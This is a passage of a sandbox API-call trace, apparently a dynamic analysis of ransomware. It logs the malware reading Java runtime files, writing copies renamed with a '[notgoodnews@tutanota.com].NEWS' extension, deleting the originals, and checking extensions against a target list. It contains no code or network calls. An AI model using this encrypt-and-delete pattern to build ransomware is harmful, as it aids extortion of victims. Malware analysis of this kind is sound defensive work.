dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0159.942] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2860) returned 1 [0159.942] CloseHandle (hObject=0x450) returned 1 [0159.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0159.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.943] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0159.943] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.943] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.943] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0159.943] GetLastError () returned 0x0 [0159.943] ReadFile (in: hFile=0x450, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0159.948] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xb30, lpOverlapped=0x0) returned 1 [0159.949] ReadFile (in: hFile=0x450, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.949] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xfa, lpOverlapped=0x0) returned 1 [0159.949] SetEndOfFile (hFile=0x3e0) returned 1 [0159.959] CloseHandle (hObject=0x3e0) returned 1 [0159.971] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.971] SetEndOfFile (hFile=0x450) returned 1 [0159.981] CloseHandle (hObject=0x450) returned 1 [0159.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.982] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0159.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.982] lstrlenW (lpString=".doc") returned 4 [0159.982] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.982] lstrlenW (lpString=".docx") returned 5 [0159.982] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.982] lstrlenW (lpString=".pdf") returned 4 [0159.982] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.982] lstrlenW (lpString=".xls") returned 4 [0159.983] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.983] lstrlenW (lpString=".xlsx") returned 5 [0159.983] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.983] lstrlenW (lpString=".ppt") returned 4 [0159.983] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.983] lstrlenW (lpString=".zip") returned 4 [0159.983] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.983] lstrlenW (lpString=".rar") returned 4 [0159.983] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.983] lstrlenW (lpString=".bz2") returned 4 [0159.983] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.983] lstrlenW (lpString=".7z") returned 3 [0159.983] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.983] lstrlenW (lpString=".dbf") returned 4 [0159.983] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.983] lstrlenW (lpString=".1cd") returned 4 [0159.983] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.983] lstrlenW (lpString=".jpg") returned 4 [0159.983] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.983] lstrlenW (lpString=".doc") returned 4 [0159.984] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString=".docx") returned 5 [0159.984] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.984] lstrlenW (lpString=".pdf") returned 4 [0159.984] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString=".xls") returned 4 [0159.984] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString=".xlsx") returned 5 [0159.984] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.984] lstrlenW (lpString=".ppt") returned 4 [0159.984] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.984] lstrlenW (lpString=".zip") returned 4 [0159.984] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString=".rar") returned 4 [0159.984] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString=".bz2") returned 4 [0159.984] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString=".7z") returned 3 [0159.984] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.984] lstrlenW (lpString=".dbf") returned 4 [0159.984] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.984] lstrlenW (lpString=".1cd") returned 4 [0159.984] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0159.984] lstrlenW (lpString=".jpg") returned 4 [0159.984] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.985] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0159.985] lstrlenW (lpString="messages_it.properties") returned 22 [0159.985] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0159.986] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3223) returned 1 [0159.986] CloseHandle (hObject=0x450) returned 1 [0159.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0159.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0159.987] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.987] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.987] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.988] GetLastError () returned 0x0 [0159.988] ReadFile (in: hFile=0x450, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xc97, lpOverlapped=0x0) returned 1 [0159.990] WriteFile (in: hFile=0x44c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xca0, lpOverlapped=0x0) returned 1 [0159.991] ReadFile (in: hFile=0x450, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.991] WriteFile (in: hFile=0x44c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x100, lpOverlapped=0x0) returned 1 [0159.991] SetEndOfFile (hFile=0x44c) returned 1 [0159.991] CloseHandle (hObject=0x44c) returned 1 [0159.991] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.991] SetEndOfFile (hFile=0x450) returned 1 [0159.994] CloseHandle (hObject=0x450) returned 1 [0159.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.995] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0159.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.996] lstrlenW (lpString=".doc") returned 4 [0159.996] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.996] lstrlenW (lpString=".docx") returned 5 [0159.996] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.996] lstrlenW (lpString=".pdf") returned 4 [0159.996] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.996] lstrlenW (lpString=".xls") returned 4 [0159.996] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.996] lstrlenW (lpString=".xlsx") returned 5 [0159.996] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.996] lstrlenW (lpString=".ppt") returned 4 [0159.996] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.996] lstrlenW (lpString=".zip") returned 4 [0159.996] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.996] lstrlenW (lpString=".rar") returned 4 [0159.996] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.996] lstrlenW (lpString=".bz2") returned 4 [0159.996] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.996] lstrlenW (lpString=".7z") returned 3 [0159.996] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.996] lstrlenW (lpString=".dbf") returned 4 [0159.996] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.997] lstrlenW (lpString=".1cd") returned 4 [0159.997] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.997] lstrlenW (lpString=".jpg") returned 4 [0159.997] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.997] lstrlenW (lpString=".doc") returned 4 [0159.997] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString=".docx") returned 5 [0159.997] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.997] lstrlenW (lpString=".pdf") returned 4 [0159.997] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString=".xls") returned 4 [0159.997] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString=".xlsx") returned 5 [0159.997] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.997] lstrlenW (lpString=".ppt") returned 4 [0159.997] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.997] lstrlenW (lpString=".zip") returned 4 [0159.997] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString=".rar") returned 4 [0159.997] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString=".bz2") returned 4 [0159.997] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.997] lstrlenW (lpString=".7z") returned 3 [0159.998] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.998] lstrlenW (lpString=".dbf") returned 4 [0159.998] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.998] lstrlenW (lpString=".1cd") returned 4 [0159.998] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0159.998] lstrlenW (lpString=".jpg") returned 4 [0159.998] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.998] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0159.998] lstrlenW (lpString="messages_ja.properties") returned 22 [0159.998] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0160.000] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6349) returned 1 [0160.000] CloseHandle (hObject=0x450) returned 1 [0160.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0160.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0160.001] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.001] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0160.002] GetLastError () returned 0x0 [0160.002] ReadFile (in: hFile=0x450, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x18cd, lpOverlapped=0x0) returned 1 [0160.004] WriteFile (in: hFile=0x44c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0160.005] ReadFile (in: hFile=0x450, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.005] WriteFile (in: hFile=0x44c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x100, lpOverlapped=0x0) returned 1 [0160.005] SetEndOfFile (hFile=0x44c) returned 1 [0160.006] CloseHandle (hObject=0x44c) returned 1 [0160.006] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.006] SetEndOfFile (hFile=0x450) returned 1 [0160.384] CloseHandle (hObject=0x450) returned 1 [0160.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.385] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0160.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.386] lstrlenW (lpString=".doc") returned 4 [0160.386] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString=".docx") returned 5 [0160.386] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.386] lstrlenW (lpString=".pdf") returned 4 [0160.386] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString=".xls") returned 4 [0160.386] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString=".xlsx") returned 5 [0160.386] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.386] lstrlenW (lpString=".ppt") returned 4 [0160.386] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.386] lstrlenW (lpString=".zip") returned 4 [0160.386] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString=".rar") returned 4 [0160.386] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString=".bz2") returned 4 [0160.386] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString=".7z") returned 3 [0160.386] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.386] lstrlenW (lpString=".dbf") returned 4 [0160.386] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.386] lstrlenW (lpString=".1cd") returned 4 [0160.386] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.386] lstrlenW (lpString=".jpg") returned 4 [0160.386] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.387] lstrlenW (lpString=".doc") returned 4 [0160.387] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString=".docx") returned 5 [0160.387] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.387] lstrlenW (lpString=".pdf") returned 4 [0160.387] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString=".xls") returned 4 [0160.387] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString=".xlsx") returned 5 [0160.387] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.387] lstrlenW (lpString=".ppt") returned 4 [0160.387] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.387] lstrlenW (lpString=".zip") returned 4 [0160.387] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString=".rar") returned 4 [0160.387] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString=".bz2") returned 4 [0160.387] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString=".7z") returned 3 [0160.387] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.387] lstrlenW (lpString=".dbf") returned 4 [0160.387] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.387] lstrlenW (lpString=".1cd") returned 4 [0160.387] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0160.387] lstrlenW (lpString=".jpg") returned 4 [0160.387] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.388] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.388] lstrlenW (lpString="deploy.jar") returned 10 [0160.388] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0160.391] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5040094) returned 1 [0160.391] CloseHandle (hObject=0x450) returned 1 [0160.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0160.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0160.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 